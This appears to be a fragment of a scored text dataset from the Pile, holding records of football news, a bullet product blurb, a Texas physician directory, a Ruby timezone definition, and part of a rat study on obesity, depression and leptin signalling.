"\n\nAnd with no European football to consider Rodgers is confident the work done over the last 12 months, coupled with the four early summer signings of Celta Vigo forward Iago Aspas, Sevilla midfielder Luis Alberto, Manchester City defender Kolo Toure and Sunderland goalkeeper Simon Mignolet, means they begin in a much better position.",
"\n\n\"I think in every way the group is stronger and we still hope to add one or two more before the window closes,\" he said."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0007084098760969937,
0.001684257760643959,
0.0010150790913030505,
0.0007538243080489337,
0.0005677927983924747,
0.0009322073892690241,
0.0011108207982033491,
0.0007118707871995866,
0.0007866398082114756,
0.0006552340346388519,
0.0010375999845564365,
0.001033810549415648,
0.0006414732779376209,
0.0006942918989807367
] | 0.000881 | 14 |
[
"The Barnes Mil/LE Reduced Ricochet Limited Penetration projectile was original developed for Military and Law enforcement applications which called for projectiles that needed to be safe for use in LE practice environments. ",
"These open tip bullets won't come apart in mid-air even at very high velocities and extreme rates of spin. ",
"These projectiles combine accuracy with explosive fragmentation and won't destroy steel practice targets. ",
"The M/LE RRLP bullet from Barnes features a frangible powdered-metal copper tin core inside guilding metal jacket."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006515407585538924,
0.0009508677176199853,
0.0008636559941805899,
0.0006827972247265279
] | 0.000787 | 4 |
[
"Dr. Marcus Aquino is a specialist in general surgery and colon & rectal surgery. ",
"He works in Seabrook, TX, Baytown, TX, and Nassau Bay, TX. ",
"On average, patients gave him a rating of 4.5 stars out of 5. ",
"His areas of expertise include the following: warts, colon cancer, and crohn's disease. ",
"Dr. Aquino's professional affiliations include Houston Methodist and Park Plaza Hospital. ",
"He is in-network for Blue Cross Blue Shield Bronze, Blue Cross Blue Shield Gold, and United Healthcare Choice, in addition to other insurance carriers. ",
"New patients are welcome to contact Dr. Aquino's office for an appointment. ",
"He studied medicine at St. John's Medical College.",
"\n\nDr. Stanley Stein is a specialist in adult gastroenterology. ",
"He graduated from the University of Arkansas for Medical Sciences College of Medicine and then he performed his residency at a hospital affiliated with Tulane University. ",
"His clinical interests include diabetes, pancreas problems, and ulcers. ",
"Dr. Stein's average rating from his patients is 4.0 stars out of 5. ",
"He is an in-network provider for Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold, in addition to other insurance carriers. ",
"Dr. Stein's hospital/clinic affiliations include Memorial Hermann Southwest Hospital, Memorial Hermann Sugar Land Hospital, and Houston Methodist. ",
"He is accepting new patients.",
"\n\nDr. Nitesh Vachhani is an adult gastroenterology specialist. ",
"Before performing his residency at a hospital affiliated with Baylor College of Medicine, Dr. Vachhani attended the University of Texas Health Science Center at San Antonio, School of Medicine. ",
"His areas of expertise include the following: pancreas problems, endoscopic sclerotherapy, and colon cancer. ",
"He has a 3.5 out of 5 star average patient rating. ",
"Dr. Vachhani accepts Blue Cross Blue Shield Bronze, Blue Cross Blue Shield HMO, and Amerigroup Star, as well as other insurance carriers. ",
"He is affiliated with Memorial Hermann Sugar Land Hospital and Houston Methodist. ",
"He welcomes new patients.",
"\n\nDr. Gregory Shannon's specialty is gastroenterology (digestive system). ",
"He has a special interest in polyps, colon cancer, and crohn's disease. ",
"Dr. Shannon's professional affiliations include Memorial Hermann Sugar Land Hospital and Houston Methodist. ",
"Before completing his residency at a hospital affiliated with Baylor College of Medicine, Dr. Shannon attended medical school at Northwestern University, Feinberg School of Medicine. ",
"Dr. Shannon has a 4.5 out of 5 star average patient rating. ",
"He is in-network for Blue Cross Blue Shield Bronze, Blue Cross Blue Shield HMO, and Amerigroup Star, as well as other insurance carriers. ",
"He has an open panel.",
"\n\nDr. Erik Askenasy is a specialist in general surgery and colon & rectal surgery. ",
"Dr. Askenasy's areas of expertise include colon cancer, incontinence, and crohn's disease. ",
"He is affiliated with Memorial Hermann Greater Heights Hospital, Memorial Hermann Southeast Hospital, and Memorial Hermann Sugar Land Hospital. ",
"He graduated from the University of Texas Medical School at Houston. ",
"He trained at a hospital affiliated with Baylor College of Medicine for his residency. ",
"He is in-network for Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold, as well as other insurance carriers. ",
"Dr. Askenasy is open to new patients.",
"\n\nDr. Kulvinder Bajwa works as a general surgeon and bariatric surgeon in Bellaire, TX and Sugar Land, TX. ",
"After attending the University of Texas Health Science Center at San Antonio, School of Medicine, Dr. Bajwa completed his residency training at a hospital affiliated with Temple University. ",
"Areas of particular interest for Dr. Bajwa include weight management. ",
"Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold are among the insurance carriers that Dr. Bajwa takes. ",
"His professional affiliations include Memorial Hermann Southeast Hospital, Memorial Hermann Sugar Land Hospital, and Memorial Hermann - Texas Medical Center (TMC).",
"\n\nDr. Thomas Moore works as a general surgeon in Sugar Land, TX. ",
"His areas of expertise include minor surgery, colon cancer, and breast cancer. ",
"The average patient rating for Dr. Moore is 4.5 stars out of 5. ",
"Dr. Moore takes Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold, as well as other insurance carriers. ",
"He is a graduate of the University of Texas Medical Branch School of Medicine and a graduate of St. Joseph Medical Center, Houston's residency program. ",
"Dr. Moore's hospital/clinic affiliations include Memorial Hermann Southwest Hospital, Memorial Hermann Sugar Land Hospital, and Houston Methodist. ",
"He has an open panel.",
"\n\nDr. Amirali Popatia is a medical specialist in adult oncology. ",
"His clinical interests include bladder cancer, anemia, and colon cancer. ",
"Blue Cross Blue Shield Bronze, Blue Cross Blue Shield HMO, and Blue Cross Blue Shield Gold are among the insurance carriers that Dr. Popatia accepts. ",
"Dr. Popatia attended Dow Medical College and then went on to complete his residency at Texas Tech University Health Sciences Center and a hospital affiliated with Baylor College of Medicine. ",
"Dr. Popatia is affiliated with Memorial Hermann Southwest Hospital, Memorial Hermann Sugar Land Hospital, and Houston Methodist. ",
"His practice is open to new patients.",
"\n\nDr. Guillermo Ponce De Leon is a medical specialist in general surgery. ",
"Areas of expertise for Dr. Ponce De Leon include thyroid problems, colon cancer, and laparoscopic colectomy. ",
"Patient ratings for Dr. Ponce De Leon average 4.5 stars out of 5. ",
"He is an in-network provider for several insurance carriers, including Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold. ",
"He graduated from the University of Texas Medical School at Houston. ",
"His professional affiliations include Memorial Hermann Southwest Hospital, Memorial Hermann Sugar Land Hospital, and Houston Methodist. ",
"New patients are welcome to contact Dr. Ponce De Leon's office for an appointment.",
"\n\nDr. Michael Wood is a specialist in general surgery and colon & rectal surgery. ",
"He works in Houston, TX and Sugar Land, TX. ",
"His clinical interests include cancer surgery, thyroid problems, and colon cancer. ",
"His hospital/clinic affiliations include Memorial Hermann Southwest Hospital, Memorial Hermann Sugar Land Hospital, and Houston Methodist. ",
"Dr. Wood graduated from the University of Texas Medical School at Houston. ",
"The average patient rating for Dr. Wood is 4.0 stars out of 5. ",
"He is in-network for several insurance carriers, including Blue Cross Blue Shield Bronze, Amerigroup Star, and Blue Cross Blue Shield Gold. ",
"He is open to new patients."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0012464451137930155,
0.0006032250821590424,
0.0006774888606742024,
0.003326192731037736,
0.0005717185558751225,
0.0006122826016508043,
0.0005565921310335398,
0.00085219502216205,
0.004330765455961227,
0.0005906912847422063,
0.0038749270606786013,
0.0006921843742020428,
0.0006510067032650113,
0.0006002191221341491,
0.0006667134584859014,
0.06334826350212097,
0.0005947556346654892,
0.011602692306041718,
0.0007973010069690645,
0.0006169163389131427,
0.000609042530413717,
0.0006380763370543718,
0.005258773919194937,
0.0032254280522465706,
0.0005937423557043076,
0.0006116500589996576,
0.0007349779480136931,
0.0006421531434170902,
0.0007301821024157107,
0.0012555507710203528,
0.001306974678300321,
0.0006706780404783785,
0.0007281503058038652,
0.0005592539091594517,
0.0006330113974399865,
0.0006304435664787889,
0.0006123666535131633,
0.0005841241218149662,
0.0005833657924085855,
0.0006336155929602683,
0.0006033239769749343,
0.0006236857734620571,
0.007282572332769632,
0.0006671678856946528,
0.000640495796687901,
0.0006492278189398348,
0.0005911971093155444,
0.0007301821024157107,
0.0009525225032120943,
0.002283552661538124,
0.0006389556801877916,
0.0006610976997762918,
0.0006121344631537795,
0.0006037430721335113,
0.0007195357466116548,
0.0007958270143717527,
0.0006244941032491624,
0.0006802194402553141,
0.0007281503058038652,
0.0005978819099254906,
0.0005480671534314752,
0.0012849229387938976,
0.0006390053313225508,
0.0018164917128160596,
0.0005862218094989657,
0.0006360108382068574,
0.0006703339167870581,
0.0006400320562534034,
0.0006106357323005795
] | 0.002133 | 69 |
[
"module TZInfo\n module Definitions\n module America\n module Santa_Isabel\n include TimezoneDefinition\n \n timezone 'America/Santa_Isabel' do |tz|\n tz.offset :o0, -27568, 0, :LMT\n tz.offset :o1, -25200, 0, :MST\n tz.offset :o2, -28800, 0, :PST\n tz.offset :o3, -28800, 3600, :PDT\n tz.offset :o4, -28800, 3600, :PWT\n tz.offset :o5, -28800, 3600, :PPT\n \n tz.transition 1922, 1, :o1, 14538335, 6\n tz.transition 1924, 1, :o2, 58170859, 24\n tz.transition 1927, 6, :o1, 58201027, 24\n tz.transition 1930, 11, :o2, 58231099, 24\n tz.transition 1931, 4, :o3, 14558597, 6\n tz.transition 1931, 9, :o2, 58238755, 24\n tz.transition 1942, 4, :o4, 14582843, 6\n tz.transition 1945, 8, :o5, 58360379, 24\n tz.transition 1945, 11, :o2, 58362523, 24\n tz.transition 1948, 4, :o3, 14595881, 6\n tz.transition 1949, 1, :o2, 58390339, 24\n tz.transition 1954, 4, :o3, 29218295, 12\n tz.transition 1954, 9, :o2, 19480095, 8\n tz.transition 1955, 4, :o3, 29222663, 12\n tz.transition 1955, 9, :o2, 19483007, 8\n tz.transition 1956, 4, :o3, 29227115, 12\n tz.transition 1956, 9, :o2, 19485975, 8\n tz.transition 1957, 4, :o3, 29231483, 12\n tz.transition 1957, 9, :o2, 19488887, 8\n tz.transition 1958, 4, :o3, 29235851, 12\n tz.transition 1958, 9, :o2, 19491799, 8\n tz.transition 1959, 4, :o3, 29240219, 12\n tz.transition 1959, 9, :o2, 19494711, 8\n tz.transition 1960, 4, :o3, 29244587, 12\n tz.transition 1960, 9, :o2, 19497623, 8\n tz.transition 1976, 4, :o3, 199274400\n tz.transition 1976, 10, :o2, 215600400\n tz.transition 1977, 4, :o3, 230724000\n tz.transition 1977, 10, :o2, 247050000\n tz.transition 1978, 4, :o3, 262778400\n tz.transition 1978, 10, :o2, 278499600\n tz.transition 1979, 4, :o3, 294228000\n tz.transition 1979, 10, :o2, 309949200\n tz.transition 1980, 4, :o3, 325677600\n tz.transition 1980, 10, :o2, 341398800\n tz.transition 1981, 4, :o3, 357127200\n tz.transition 1981, 10, :o2, 372848400\n tz.transition 1982, 4, :o3, 388576800\n tz.transition 1982, 10, :o2, 404902800\n tz.transition 1983, 4, :o3, 420026400\n tz.transition 1983, 10, :o2, 436352400\n tz.transition 1984, 4, :o3, 452080800\n tz.transition 1984, 10, :o2, 467802000\n tz.transition 1985, 4, :o3, 483530400\n tz.transition 1985, 10, :o2, 499251600\n tz.transition 1986, 4, :o3, 514980000\n tz.transition 1986, 10, :o2, 530701200\n tz.transition 1987, 4, :o3, 544615200\n tz.transition 1987, 10, :o2, 562150800\n tz.transition 1988, 4, :o3, 576064800\n tz.transition 1988, 10, :o2, 594205200\n tz.transition 1989, 4, :o3, 607514400\n tz.transition 1989, 10, :o2, 625654800\n tz.transition 1990, 4, :o3, 638964000\n tz.transition 1990, 10, :o2, 657104400\n tz.transition 1991, 4, :o3, 671018400\n tz.transition 1991, 10, :o2, 688554000\n tz.transition 1992, 4, :o3, 702468000\n tz.transition 1992, 10, :o2, 720003600\n tz.transition 1993, 4, :o3, 733917600\n tz.transition 1993, 10, :o2, 752058000\n tz.transition 1994, 4, :o3, 765367200\n tz.transition 1994, 10, :o2, 783507600\n tz.transition 1995, 4, :o3, 796816800\n tz.transition 1995, 10, :o2, 814957200\n tz.transition 1996, 4, :o3, 828871200\n tz.transition 1996, 10, :o2, 846406800\n tz.transition 1997, 4, :o3, 860320800\n tz.transition 1997, 10, :o2, 877856400\n tz.transition 1998, 4, :o3, 891770400\n tz.transition 1998, 10, :o2, 909306000\n tz.transition 1999, 4, :o3, 923220000\n tz.transition 1999, 10, :o2, 941360400\n tz.transition 2000, 4, :o3, 954669600\n tz.transition 2000, 10, :o2, 972810000\n tz.transition 2001, 4, :o3, 986119200\n tz.transition 2001, 10, :o2, 1004259600\n tz.transition 2002, 4, :o3, 1018173600\n tz.transition 2002, 10, :o2, 1035709200\n tz.transition 2003, 4, :o3, 1049623200\n tz.transition 2003, 10, :o2, 1067158800\n tz.transition 2004, 4, :o3, 1081072800\n tz.transition 2004, 10, :o2, 1099213200\n tz.transition 2005, 4, :o3, 1112522400\n tz.transition 2005, 10, :o2, 1130662800\n tz.transition 2006, 4, :o3, 1143972000\n tz.transition 2006, 10, :o2, 1162112400\n tz.transition 2007, 4, :o3, 1175421600\n tz.transition 2007, 10, :o2, 1193562000\n tz.transition 2008, 4, :o3, 1207476000\n tz.transition 2008, 10, :o2, 1225011600\n tz.transition 2009, 4, :o3, 1238925600\n tz.transition 2009, 10, :o2, 1256461200\n tz.transition 2010, 4, :o3, 1270375200\n tz.transition 2010, 10, :o2, 1288515600\n tz.transition 2011, 4, :o3, 1301824800\n tz.transition 2011, 10, :o2, 1319965200\n tz.transition 2012, 4, :o3, 1333274400\n tz.transition 2012, 10, :o2, 1351414800\n tz.transition 2013, 4, :o3, 1365328800\n tz.transition 2013, 10, :o2, 1382864400\n tz.transition 2014, 4, :o3, 1396778400\n tz.transition 2014, 10, :o2, 1414314000\n tz.transition 2015, 4, :o3, 1428228000\n tz.transition 2015, 10, :o2, 1445763600\n tz.transition 2016, 4, :o3, 1459677600\n tz.transition 2016, 10, :o2, 1477818000\n tz.transition 2017, 4, :o3, 1491127200\n tz.transition 2017, 10, :o2, 1509267600\n tz.transition 2018, 4, :o3, 1522576800\n tz.transition 2018, 10, :o2, 1540717200\n tz.transition 2019, 4, :o3, 1554631200\n tz.transition 2019, 10, :o2, 1572166800\n tz.transition 2020, 4, :o3, 1586080800\n tz.transition 2020, 10, :o2, 1603616400\n tz.transition 2021, 4, :o3, 1617530400\n tz.transition 2021, 10, :o2, 1635670800\n tz.transition 2022, 4, :o3, 1648980000\n tz.transition 2022, 10, :o2, 1667120400\n tz.transition 2023, 4, :o3, 1680429600\n tz.transition 2023, 10, :o2, 1698570000\n tz.transition 2024, 4, :o3, 1712484000\n tz.transition 2024, 10, :o2, 1730019600\n tz.transition 2025, 4, :o3, 1743933600\n tz.transition 2025, 10, :o2, 1761469200\n tz.transition 2026, 4, :o3, 1775383200\n tz.transition 2026, 10, :o2, 1792918800\n tz.transition 2027, 4, :o3, 1806832800\n tz.transition 2027, 10, :o2, 1824973200\n tz.transition 2028, 4, :o3, 1838282400\n tz.transition 2028, 10, :o2, 1856422800\n tz.transition 2029, 4, :o3, 1869732000\n tz.transition 2029, 10, :o2, 1887872400\n tz.transition 2030, 4, :o3, 1901786400\n tz.transition 2030, 10, :o2, 1919322000\n tz.transition 2031, 4, :o3, 1933236000\n tz.transition 2031, 10, :o2, 1950771600\n tz.transition 2032, 4, :o3, 1964685600\n tz.transition 2032, 10, :o2, 1982826000\n tz.transition 2033, 4, :o3, 1996135200\n tz.transition 2033, 10, :o2, 2014275600\n tz.transition 2034, 4, :o3, 2027584800\n tz.transition 2034, 10, :o2, 2045725200\n tz.transition 2035, 4, :o3, 2059034400\n tz.transition 2035, 10, :o2, 2077174800\n tz.transition 2036, 4, :o3, 2091088800\n tz.transition 2036, 10, :o2, 2108624400\n tz.transition 2037, 4, :o3, 2122538400\n tz.transition 2037, 10, :o2, 2140074000\n tz.transition 2038, 4, :o3, 29586215, 12\n tz.transition 2038, 10, :o2, 19725823, 8\n tz.transition 2039, 4, :o3, 29590583, 12\n tz.transition 2039, 10, :o2, 19728735, 8\n tz.transition 2040, 4, :o3, 29594951, 12\n tz.transition 2040, 10, :o2, 19731647, 8\n tz.transition 2041, 4, :o3, 29599403, 12\n tz.transition 2041, 10, :o2, 19734559, 8\n tz.transition 2042, 4, :o3, 29603771, 12\n tz.transition 2042, 10, :o2, 19737471, 8\n tz.transition 2043, 4, :o3, 29608139, 12\n tz.transition 2043, 10, :o2, 19740383, 8\n tz.transition 2044, 4, :o3, 29612507, 12\n tz.transition 2044, 10, :o2, 19743351, 8\n tz.transition 2045, 4, :o3, 29616875, 12\n tz.transition 2045, 10, :o2, 19746263, 8\n tz.transition 2046, 4, :o3, 29621243, 12\n tz.transition 2046, 10, :o2, 19749175, 8\n tz.transition 2047, 4, :o3, 29625695, 12\n tz.transition 2047, 10, :o2, 19752087, 8\n tz.transition 2048, 4, :o3, 29630063, 12\n tz.transition 2048, 10, :o2, 19754999, 8\n tz.transition 2049, 4, :o3, 29634431, 12\n tz.transition 2049, 10, :o2, 19757967, 8\n tz.transition 2050, 4, :o3, 29638799, 12\n tz.transition 2050, 10, :o2, 19760879, 8\n end\n end\n end\n end\nend\n"
] | {
"pile_set_name": "Github"
} | [
0.0008660465246066451
] | 0.000866 | 1 |
[
"Obesity is a condition characterized by massive adipose tissue accumulation, which is usually caused by complicated genetic and environmental factors[@b1][@b2][@b3]. ",
"Obesity is associated with many health problems including metabolic syndrome, cardiovascular diseases and psychiatric disorders[@b4][@b5][@b6][@b7]. ",
"Depression is a major psychiatric disorder that is characterized by low mood, anhedonia and cognitive impairment[@b8][@b9]. ",
"Clinical and epidemiological data suggest that obesity and depression frequently coexist[@b10][@b11] and obesity is associated with an increased risk of depressive disorder[@b12]. ",
"Comorbid obesity and depression contribute to significant morbidity[@b13][@b14] and functional impairment[@b15].",
"\n\nThe long-term excessive intake of calories is regarded as a risk factor for obesity. ",
"Using high fat diet (HFD) to induce obesity is an established animal model of obesity which causes excessive body weight, higher adipose/weight ratio and higher serum levels of free fatty acid[@b16][@b17]. ",
"Meanwhile, the chronic unexpected mild stress (CUMS) model has been widely used as a highly predictive and valid animal model of depression[@b18]. ",
"Long-term uncontrollable and unpredictable stressors will result in depression-like and anxiety-like symptoms in animals[@b19] with impairments in spatial learning and memory. ",
"These behavioral and cognitive changes could be examined by behavioral tests. ",
"Depression-like behavior such as anhedonia and deficit of explorative ability are evaluated by the sucrose preference tests (SPT) and open field test (OPT) respectively. ",
"Anxiety-like behavior is assessed by elevated plus maze test (EPT) and spatial learning can be evaluated by using the Morris water maze (MWM) test.",
"\n\nLeptin is a hormone derived from adipose tissue that provides feedback about adiposity to the brain[@b20]. ",
"It is circulated in blood, crosses the blood-brain barrier and exerts its effects on the leptin receptor, which are expressed in the hypothalamus, hippocampus and cerebral cortex[@b21]. ",
"The long form of leptin receptor (LepRb) mediates the biological actions of leptin and leads to intracellular signal transduction. ",
"Obese individuals having elevated plasma leptin level is known as developing leptin resistance[@b22]. ",
"When the adiposity to weight ratio is high, leptin decreases food intake and increases energy expenditure through the action of LepRb in the hypothalamus[@b23]. ",
"Leptin and LepRb were also found to play a role in the pathogenesis of depressive disorder. ",
"Some studies found that depressed patients with normal adiposity had high leptin levels[@b24][@b25]. ",
"In contrast, other studies found that low leptin levels were associated with depression[@b26][@b27] and injection of leptin into hippocampus had antidepressant effects[@b28]. ",
"Milaneschi *et al*. ",
"demonstrated that the association between leptin and depressive symptoms was modulated by abdominal adiposity in humans but it was not possible to study the role of LepRb in humans[@b29]. ",
"These inconsistent findings suggest that other factors such as obesity might influence the interaction between depression and leptin/LepRb. ",
"The relationship between leptin/LepRb, obesity and depression requires further study.",
"\n\nThe hippocampus has been suggested to be involved in the pathophysiology of cognitive impairment in patients suffering from depressive disorder. ",
"The hypothalamus is affected by stress and depression through the neuroendocrine system[@b30]. ",
"In this study, one group of rats was fed by the HFD for 8 weeks to induce obesity followed by 3 weeks of CUMS and HFD to establish an animal model of comorbid obesity and depression. ",
"Behavioral tests were performed to assess the emotional and cognitive disturbances in rats. ",
"The leptin/LepRb signaling was tested subsequently to identify the levels of plasma leptin and expression of protein and mRNA of LepRb in the hippocampus and hypothalamus and their relationship with weight gain, depression/anxiety-like behavior and cognitive impairment in rats that were exposed to HFD and CUMS, CUMS only, HFD only and the control group.",
"\n\nResults\n=======\n\nThe Effects of HFD and CUMS on body weight and adipose/body weight\n------------------------------------------------------------------\n\nThe changes in body weight of different groups are shown in [Fig. ",
"1A](#f1){ref-type=\"fig\"}. ",
"The results show that consumption of the HFD induced higher body weight gain in the HFD groups (i.e. the Ob and Co groups) compared with the regular diet (RD) groups (i.e. the CUMS and Ctr groups). ",
"The weight differences between the HFD groups and RD groups had increased gradually from the 1^st^ week to the 8^th^ week. ",
"The weight of the Ob group and the Co group remained higher than the CUMS and Ctr groups throughout the experiment. ",
"The CUMS procedure (from the 9^th^ to 11^th^ week) reduced the body weight in both CUMS and Co groups. ",
"In the 9^th^ week, which was the first week of CUMS procedure, the weight of the CUMS group showed decline from 421.1 ± 26.0 g to 409.5 ± 22.7 g while the Co group demonstrated mild increase in weight from 485.7 ± 20.1 g to 490.3 ± 15.3 g. [Figure 1B](#f1){ref-type=\"fig\"} shows significant differences in body weight among the 4 groups at the 8^th^ week \\[F (3, 46) = 41.364, p \\< 0.001\\]. ",
"Body weight of the Ob and Co groups were significantly higher than the Ctr group (p \\< 0.001, respectively) and CUMS group (p \\< 0.001, respectively). [",
"Figure 1C](#f1){ref-type=\"fig\"} shows the difference in body weight among the 4 groups at the 11^th^ week \\[F (3, 46) = 40.291, p \\< 0.001\\]. ",
"There was no interaction between HFD and CUMS on body weight \\[F = 0.127, p = 0.723\\]. ",
"The CUMS group had lower body weight than the Ctr group (p \\< 0.001); The Co group had lower body weight than the Ob group (p \\< 0.05); The Ob and Co groups maintained higher body weight than the Ctr group (p \\< 0.001, respectively), Main effects of the HFD and CUMS were both significant \\[F = 105.462, p \\< 0.001; F = 15.372, p \\< 0.001\\] and indicated that 3 weeks of CUMS had caused significant reduction in the body weight while 11 weeks of HFD had caused significant increase in the body weight. [",
"Figure 1D](#f1){ref-type=\"fig\"} shows that the adipose/weight among the 4 groups was significantly different \\[F (3, 46) = 59.295, p \\< 0.001\\]. ",
"The interaction between HFD and CUMS on adipose/weight was significant \\[F = 5.233, p \\< 0.05\\]. ",
"Main effects of the HFD and CUMS were significant \\[F = 139.450, p \\< 0.001; F = 31.808, p \\< 0.001\\]. ",
"The CUMS led to significantly lower adipose/weight in the Co group as compared with the Ob group (p \\< 0.001).",
"\n\nThe Effects of HFD and CUMS on depression-like behavior, anxiety-like behavior and cognitive impairment\n-------------------------------------------------------------------------------------------------------\n\n[Figure 2A](#f2){ref-type=\"fig\"} illustrates results of the SPT \\[F (3, 46) = 47.221, p \\< 0.001\\]. ",
"The interaction between HFD and CUMS had no effect on the SPT \\[F = 4.029, p = 0.051\\]. ",
"Main effects of the HFD and CUMS were significant \\[F = 10.050, p \\< 0.05; F = 129.199, p \\< 0.001\\]. ",
"The CUMS, Ob and Co groups had significantly lower sucrose preference than the Ctr group (p \\< 0.001, p \\< 0.05, p \\< 0.001 respectively). ",
"The CUMS and Co groups had lower level of sucrose preference than the Ob group (p \\< 0.001, respectively), indicating that the CUMS had worsen anhedonia in the CUMS and CO groups. [",
"Figure 2B](#f2){ref-type=\"fig\"} shows the result of OFT \\[F (3, 46) = 25.569, p \\< 0.001\\]. ",
"Significant main effects of the HFD and CUMS on OFT were found \\[F = 20.669, p \\< 0.001; F = 55.363, p \\< 0.001\\], but the interaction between HFD and CUMS was not significant \\[F = 0.274, p = 0.603\\]. ",
"The CUMS, Ob and Co groups had lower cross lattice number than the Ctr group. ",
"The Co group had the lowest cross lattice number among the 4 groups, indicating that exposure to the CUMS and HFD significantly reduced automatic and exploring behavior. [",
"Figure 2C](#f2){ref-type=\"fig\"} shows results of the EMT \\[F (3, 46) = 62.014, p = 0.000\\]. ",
"Main effects of the HFD and CUMS on EMT were significant \\[F = 58.573, p = 0.000; F = 127.308, p = 0.000\\], but the interaction between HFD and CUMS was not significant \\[F = 0.003, p = 0.958\\]. ",
"The CUMS, Ob and Co groups had lower percentage of time spent in the open arms than the Ctr group. ",
"The Co group had the lowest percentage of time spent in the open arms among the 4 groups, indicating exposure to the CUMS and HFD caused highest level of anxiety. [",
"Figure 2D](#f2){ref-type=\"fig\"} displays the results of MWM \\[F (3, 46) = 16.904, p \\< 0.001\\]. ",
"Main effects of the HFD and CUMS were significant \\[F = 10.289, p \\< 0.05; F = 39.895, p \\< 0.001;\\], while interaction between HFD and CUMS was not significant \\[F = 0.224, p = 0.638\\]. ",
"The CUMS group spent lower percent of time in target quadrant than the Ctr group (p \\< 0.001). ",
"The Co group spent the lowest percent of time in target quadrant among the 4 groups (p \\< 0.001, p \\< 0.05, p \\< 0.001) which suggest exposure to the CUMS and HFD caused significant impairment in spatial learning and memory.",
"\n\nThe Effects of HFD and CUMS on plasma leptin level\n--------------------------------------------------\n\n[Figure 3](#f3){ref-type=\"fig\"} shows the levels of plasma leptin \\[F (3, 26) = 18.320, p = 0.000\\]. ",
"Main effect of the HFD on the levels of plasma leptin was significant \\[F = 23.680, p = 0.000\\], and the CUMS was not a significant factor affecting the levels of plasma leptin \\[F = 1.234, p = 0.276\\]. ",
"The interaction between HFD and CUMS on the levels of plasma leptin was significant \\[F = 30.046, p = 0.000\\]. ",
"The CUMS and Co groups had significantly higher levels of plasma leptin compared with the Ctr group (p = 0.004, p = 0.013). ",
"The Ob group had the highest levels of plasma leptin among the 4 groups (p = 0.000, respectively), indicating CUMS could reverse increased level of plasma leptin.",
"\n\nThe Effects of HFD and CUMS on LepRb protein\n--------------------------------------------\n\n[Figure 4](#f4){ref-type=\"fig\"} shows the immunohistochemistry stain of the expression of LepRb protein (A) and data analysis of each group (B). ",
"The inmunohistochemistry stain of LepRb protein in the hippocampus and hypothalamus demonstrated brownish yellow granules in the cytoplasm and membrane of the LepRb positive neurons. ",
"Few expression of LepRb -positive neurons was observed in the CA1 region of the hippocampus in the CUMS, Ob and Co groups compared with the Ctr group (p = 0.000, respectively), as well as CA3 region of the hippocampus in the CUMS (p = 0.000) and Co (p = 0.000) groups as compared to the Ctr group, indicating that both HFD and CUMS exposure reduced the expression of LepRb in the hippocampus. ",
"In the hypothalamus, less expression of LepRb positive neurons was observed in the arcuate nucleus (ARC) and the paraventricular nucleus (PVN) regions in the CUMS (p = 0.047, p = 0.000), Ob (p = 0.005, p = 0.000) and Co (p = 0.000, p = 0.000) groups as compared with the Ctr group, suggesting that HFD and CUMS exposure reduced the expression of LepRb in the hypothalamus. ",
"These findings were confirmed in later analysis using the Western bolt and Real Time PCR.",
"\n\n[Figure 5A](#f5){ref-type=\"fig\"} shows the expression of LepRb protein in the hippocampus by Western blot \\[F (3, 20) = 50.427, p = 0.000\\]. ",
"Main effects of the HFD on the expression of LepRb protein in the hippocampus were not significant \\[F = 0.021, p = 0.886\\], but main effect of stress on the expression of LepRb in the hippocampus was significant \\[F = 104.681, p = 0.000\\], and the interaction effect between HFD and CUMS was also significant \\[F = 46.580, p = 0.000\\]. ",
"The expression of LepRb protein was reduced in the CUMS, Ob and Co groups compared with the Ctr group in the hippocampus (p = 0.000, respectively). ",
"The Co group had lower expression of LepRb protein in the hippocampus than the CUMS and Ob groups (p = 0.000, p = 0.026), indicating that stress reduced the expression of LepRb protein in the hippocampus. [",
"Figure 5B](#f5){ref-type=\"fig\"} shows the expression of LepRb protein in the hypothalamus by the Western blot \\[F (3, 20) = 72.733, p = 0.000\\]. ",
"Main effects of the HFD and CUMS on the expression of LepRb protein in the hypothalamus were significant \\[F = 130.578, p = 0.000; F = 64.987, p = 0.000\\], with significant interaction between the HFD and CUMS was found \\[F = 22.636, p = 0.000\\]. ",
"The expression of LepRb protein was reduced in the CUMS, Ob and Co groups compared with Ctr group (p = 0.030, p = 0.000, p = 0.000). ",
"The Co group had lower expression of LepRb protein than the CUMS and Ob groups (p = 0.000, respectively).",
"\n\nThe Effects of HFD and CUMS on the mRNA expression of LepRb\n-----------------------------------------------------------\n\n[Figure 6A](#f6){ref-type=\"fig\"} shows the mRNA expression of LepRb in the hippocampus \\[F (3, 20) = 56.612, p = 0.000\\]. ",
"Main effects of the HFD and CUMS on mRNA expression of the LepRb in the hippocampus were significant \\[F = 24.900, p = 0.000; F = 118.720, p = 0.000\\], and the interaction between the HFD and CUMS was also significant \\[F = 26.217, p = 0.000\\]. ",
"The mRNA expression of LepRb in the hippocampus was reduced in the CUMS, Ob and Co groups compared with the Ctr group (p = 0.000, respectively). ",
"The CUMS and Co groups had lower expression of LepRb than the Ob group (p = 0.000, p = 0.001). [",
"Figure 6B](#f6){ref-type=\"fig\"} shows the mRNA expression of LepRb in the hypothalamus \\[F (3, 20) = 45.305, p = 0.000\\]. ",
"Main effects of the HFD and CUMS on mRNA expression of LepRb in the hypothalamus was significant \\[F = 131.408, p = 0.000; F = 4.490, p = 0.047\\], but there was no significant interactive effect between the HFD and CUMS \\[F = 0.015, p = 0.904\\]. ",
"The Ob and Co groups had lower mRNA expression of LepRb in the hypothalamus than the Ctr and CUMS groups (p = 0.000, respectively).",
"\n\nThe correlations between behavioral variables and the levels of LepRb protein and mRNA in the hippocampus and hypothalamus\n--------------------------------------------------------------------------------------------------------------------------\n\n[Figure 7](#f7){ref-type=\"fig\"} shows the correlation analysis between behavioral variables (sucrose preference percentage (a), cross lattice number (b) and percentage of time spent in the open arms (c), as well as spatial learning and memory (percent of time in target quadrant (d)) and levels of LepRb protein (A) and mRNA (B) in the hippocampus and hypothalamus. ",
